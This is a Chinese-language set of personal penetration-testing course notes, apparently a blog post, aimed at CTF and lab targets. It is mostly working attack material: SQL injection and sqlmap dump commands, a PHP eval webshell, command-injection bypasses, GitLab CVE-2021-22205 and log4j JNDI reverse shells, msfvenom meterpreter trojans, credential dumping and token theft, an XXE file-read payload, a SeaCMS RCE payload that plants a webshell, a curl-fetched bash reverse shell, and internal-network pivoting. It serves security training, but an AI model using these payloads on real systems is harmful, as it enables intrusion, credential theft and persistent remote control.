8个人理解

8.4

SQL注入

一、普通流程:

(一)判断注入点:一般形式“**=1,**=**”在输入框内输入单引号',查看是否报错。之后使用' or 1 # (%23)以及 or 1 #(%23)查看返回是否正常,确认注入点

(二)判断原sql语句列数:使用id=1 order by 1判断

(三)联合查询注入:id = -1 union select 1(password from )

#所有数据库的名字  
#查到user_db库
union select group_concat(schema_name) from information_schema.schemata

#查某个数据库下所有表的名字
#查到user_info表
union select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='user_db'

#查这个表下面所有字段的名字
#查到id,username,password字段
union select group_concat(column_name) from information_schema.columns where TABLE_name='user_info'

#打印所有字段
union select group_concat(id,'~',username,'~',password) from user_info 

二、sqlmap使用:

python sqlmap.py -u  "url"
#指定某个参数当做注入点,尝试注入
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch
#获取对应的所有数据库名字
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch --dbs
#获取对应数据库下的所有表名
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch -D user_db --tables
#获取这个表下面的所有字段
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch -D user_db -T user_info --columns
#获取所有数据内容
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" -p "id" --batch -D user_db -T user_info -C id,username,password --dump
python sqlmap.py -u "http://10.3.4.151/union_sql.php?id=1&num=2&data=3" --batch --dump-all

三、万能密码:

admin' or 1#

信息收集

一、fscan

fscan -h url
#或
fcan -h url -p 端口

二、dirsearch

python dirsearch.py -u url

三、git

使用dirsearch扫描发信存在200返回值的.git信息

python dumpall.py -u url/.git/

可能存在flag文件

文件上传

一、一句话木马

<?php @eval($_POST[1]);?>

蚁剑连接

二、各类检测绕过

修改文件类型,如GIF,上传后bp抓包,在抓包处修改后缀
修改文件后缀,如GIF,增加文件头GIF89a,上传后抓包,在抓包处修改后缀
过滤.php,使用pphphp绕过

提权

题目思路

一、弱口令爆破:burp

二、php伪协议

$_GET['demo'];接收demo
include($demo);将demo放到include函数当中
#include函数一般存在php伪协议或文件上传图片码+文件包含组合拳

可以尝试demo=file:///etc/passwd,如果存在,可以尝试包含index.php,发现明文打印不行,可以使用php伪协议base64加密

http://10.3.4.62:10012/index.php?demo=php://filter/convert.base64-encode/resource=fl4gisisish3r3.php

三、空格过滤

给一个输入ip窗口,发现直接输入无响应,提示空格过滤,使用;ls发现无flag文件,尝试;ls${IFS}/查看根目录,发现flag文件,;ls${IFS}/flag确认文件,使用cat替换ls查看flag值。

${IFS}
$IFS$9
<
<>

四、网站思路

先使用fscan、dirsearch工具扫描一遍网络查看开放端口、漏洞及目录,可能存在后台:admin.php;login.php

查看面板是否有版本号、使用模版情况,网上查找漏洞是否存在漏洞;弱口令爆破、默认密码、sql注入尝试,进入后台后查找文件上传点,使用抓包、修改上传文件规则等方式尝试传入一句话木马。后用蚁剑连接。

五、thinkphp\weblogci\shiro

傻瓜式操作:liqun集成工具一键尝试

在网页界面使其报错查看版本号和模块,搜索可能存在的漏洞

/index.php?S=123

无回显尝试使用反弹shell,监听端口后反弹

ncat -l -p 7777 (windows)
nc -lvvp 7777(kali)	

六、gitlab漏洞(重要)

fscan扫描过程中发现gitlab框架,想到可能可以使用的CVE-2021-22205-main漏洞

#进入CVE-2021-22205-main文件夹,cmd
#查看命令
python CVE-2021-22205.py -h
#获取权限
python CVE-2021-22205.py -u url -m rev ip port
#同时另一端口监听
ncat -l -p port|nc -lvvp portx
#此时获取到反弹shell及权限,ls查看文件,ls /查看根目录,cat 查看文件 cat /flag查看根目录文件
#进入CVE-2021-22205-main文件夹,cmd
#查看命令
python CVE-2021-22205.py -h
#修改密码(需要知道用户名)
python CVE-2021-22205.py -u http://10.3.4.141/users/sign_in -m mod user(存在失败可能)
#手动修改后台密码(以此在反弹shell界面输入)
gitlab-rails console -e production
user = User.where(id: 1).first
user.password = 'admin1234'
user.password_confirmation = 'admin1234'
user.save
#修改后用户名root,密码admin1234,进入后台查看

后台内容看:1.project内容,可能存在开发目录、登录密码、用户、flag等文件。

2.项目内的history,可以看到历史记录,可能存在假密码,可以通过记录看到真密码

七、log4j漏洞

log4j:Apache下的jar包,用于java组件开发的日志记录。(视频8.6下午17:19)

主要依赖${ jndi:ldap:// }进行解析

#查看回显
${jndi:ldap://192.168.206.27:1389/abc}

同时需要借助JNDIExploit.v1.2工具开启反弹shell监听日志。

#在JNDIExploit.v1.2目录进入控制台(kali),开始监听
ava -jar jndi.jar -i 192.168.206.27 -l 1389 -p 8080 
ns -lvvp 6666
#在靶机输入界面输入指令,完成反弹,获取权限
${jndi:ldap://192.168.206.27:1389/Basic/ReverseShell/192.168.206.27/6666}

八、msfconsole利用

kali自带的应用,直接使用

#启动
msfconsole
#查找漏洞
search thinkphp/weblogic/shiro/ms17-010
#使用
use *
#显示需要的参数
show options
#填补
set ……
#查看
show targets
#乱码
chcp 65001

在查看使用何种漏洞时,注意版本号、开放端口

#3389windows服务器,22linux服务器
fscan -h url -p 3389,22

weblogic漏洞(8.5下午1:59)

命令行远程连接

mstsc

主要需要注意在参数设置过程中,不要出现重复的端口

同时注意payload、target要注意修改

九、非web服务

直接使用网页无法打开但使用fscan扫描发现开放,则可能为非web服务,使用nmap扫描

nmap -sS -sV 10.3.4.68 -p 10016 

如果存在mysql服务,可以尝试连接,使用fscan爆破密码,

fscan -h 10.3.4.68 -p 10016 -m mysql

爆破成功可以使用DBeaver连接,也可以kali直接连接

#管理员权限下运行指令,可以绕过证书检测(--ssl=0)
mysql -h 10.3.4.68 -P 10016 -u root -p --ssl=0

十、文件目录

一般都先抓包看一下看看有无特征,出现xml格式,可以使用xxe漏洞

#在抓包模块最后输入
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [ 
<!ELEMENT name ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
<user><username>&xxe;</username><password>&xxe;</password></user>
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [ 
<!ELEMENT name ANY > 
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]> 
<user><username>&xxe;</username><password>&xxe;</password></user>

十一、弹框

在可输入文本框内输入弹出窗口

  <img src=1 onerror="\u0061\u006c\u0065\u0072\u0074(1)">

十二、10019端口(8.6上午27:00)

十三、msf生成木马

#生成一个exe格式的a.exe windows木马,直接生成到当前目录
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.230.12 lport=8881 -f exe -o a.exe

主机开启监听

#首先运行msfconsole(kali)
msfconsole
#开启监听
use exploit/multi/handler 
#于木马文件需要保持一致
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.230.12
set lport 8881
run

将木马放置到靶机内,双击运行

十四、后渗透操作

在获取靶机权限之后,继续该做什么?

#获取登陆过的明文密码
load kiwi
#如果需要system权限(一般只有管理员可以)
get system
#输出全部
creds_all
#恢复
rev2self
#获取当前权限级别
get uid
#获取密码加密值
hashdump
#上传、下载
upload ./Dsektop/1.txt c:\\users\\public\\(windows传到该目录)/tmp(linux传到该目录)
download 
#后续工作
run po(双击tab)
run post/(双击tab)
#靶机当做路由访问192.168.100.0网段
run autoroute -s 192.168.100.0/24
#查看进程
ps -ef
#偷取权限
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

十五、cobaltstrike使用

该工具需要先有一个组服务器,可以使用自己的虚拟机作为该服务器,

./teamserver 192.168.231.201 123456

之后使用客户端连接该服务器

设置监听器,并生成木马文件进行攻击。

十六、windows提权

生成木马并使用msf连接上

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.230.12 lport=8881 -f exe -o a.exe

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.231.201
set lport 8881
run

执行提权建议,找到一些可以提权的模块

run post/multi/recon/local_exploit_suggester

#选择某个提权模块
use exploit/windows/local/ms15_051_client_copy_image
set session 1
set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.230.12
set lport 8882
run
#挂载当前会话
background
#回到当前会话,查看 
sessions
#回
sessions 1

十七、正向代理、反向代理

使用iox实现

正向:

#靶机部署
iox.exe proxy -l 1080
./iox proxy -l 1080
#主机配置代理

反向

#主机开启监听
./iox proxy -l 8888 -l 1080
#靶机反向链接
iox.exe proxy -r 192.168.230.12:8888

使用Proxifire配置代理服务

十八、套题(内网渗透及穿梭)

基本思路:fscan扫描ip,确认开放端口、可能漏洞,网上搜寻漏洞,进入内网,注意网卡

ip:10.3.4.153,fscan扫描

fscan -h 10.3.4.153
#开放22;80端口,web漏洞

发现漏洞poc-yaml-seacms-v654-rce,网上搜索情况。


searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan={searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=system('echo "<?php @eval(\$_POST[1]);?>" > 1.php');

进入后台界面,发现flag文件

find / -name flag*

同时可以用dirsearch扫描一遍,查看有无其他目录

python dirsearch.py -u 10.3.4.153 
ifconfig
#发现更多网段10.10.20.31

进入根目录的tmp目录,上传fscan和iox,扫描并进行一级代理

./fscan -h 10.10.20.0/24
#读取结果
cat result

发现更多网段,使用iox

#主机监听
iox.exe proxy -l 8888 -l 1080
#靶机连接
./iox proxy -r 192.168.205.170:8888

进入Proxifire配置

#监听
127.0.0.1 :1080
#规则
10.10.20.*

根据fscan扫描得发现Tomcat8.0.43以及连个mysql

使用DBeaver连接两个数据库发现无数据,使用sqlmap进行数据库提权,再搜索flag。

#第一个数据库
python sqlmap.py -d "mysql://root:123456@10.10.20.231:3306/mysql" --os-shell
#第二个数据库
python sqlmap.py -d "mysql://root:123456@10.10.20.266:3306/mysql" --os-shell

进入Tomcat,搜索漏洞发现一个文件上传漏洞。

上传war webshell包,并用蚁剑连接

#http://10.10.20.88:8080/bb/webshell.jsp
#密码:ant
#连接类型custom

继续上传fscan、iox,对该网段进行ipconfig、ifconfig或ip a

发现另一网卡172.16.224.66,使用fscan扫描,并挂二层代理。

首先查看该机器是否可以ping通主机

ping -c 1 192.168.205.169

可以ping通,则证明该靶机可以连接外网。

1.若果不触网

可以访问靶机,则去靶机开放正向1080端口去连接,或使用工具

#开启正向
./iox proxy -l 1080

主机配置方式,使用chain

既可以访问第二层、第三层。

访问第三层发现weblogci漏洞和一个172.16.224.189 (Windows 6.1)

#172.16.224.189  (Windows 6.1)开放445端口,可能是windows,但实际为lunix
nmap -sT -Pn -sV 172.16.224.189 -p 445
#扫描结果445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)搜索得知linux

可以发现该版本的漏洞,使用msf执行漏洞,但msf在kali上运行,需要再次代理,故直接下载msf至windows主机。

2.如果触网,可以直接用该机子访问主机

#靶机
./iox proxy 192.168.205.169:8081
#主机
./iox proxy -l 8081 -l 1081

wegt命令下载

#主机设置下载端口(东西必须在cmd目录下)
python -m http.server 8081
#靶机下载
wget http://192.168.205.169:8081/iox

十九、shiro利用

10.3.4.238:fscan扫描该网段,发现一个shirokey

shiro attack输入网址,爆破秘钥、爆破秘钥链,进入

也可以使用反弹shell方式

#本地写一个反弹shell文件(Tscan生成)
bash -c "/bin/bash -i >& /dev/tcp/192.168.205.169/6666 0>&1"
#启动本地下载服务
python -m http.server 8081
#开启监听
ncat -l -p 6666
#使用shiro工具下载1.sh
curl 192.168.205.169:8081/1.sh -o /tmp/1.sh
#可执行文件
chmod 755 /tmp/1.sh
#执行
./tmp/1.sh

二十、redis利用

继续上面shiro的地方,监听成功进入后首先配置代理进入第二层

#下载iox
wget http://192.168.205.169:8081/iox
#可执行
chmod 755 iox
#本机监听
iox.exe proxy -l 8888 -l 1080
#执行
nohup ./iox proxy -r 192.168.205.169:8888
#使用msf
set rhosts 10.10.135.35
#运行
run

此时发现有第二层ip段,使用套题十八的方法继续传入iox以及正向代理,此时进入第二层redis服务

使用fscan扫描得出,会出现

使用redis一键化利用工具实现利用,其中要修改的是两个ip地址和最后的命令

只要开启redis服务且未授权,就可以使用

重点:

1.gitlab漏洞

2.somba漏洞

3.shiro漏洞

4.redis漏洞

5.tomact漏洞

6.mysql

评论 22
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值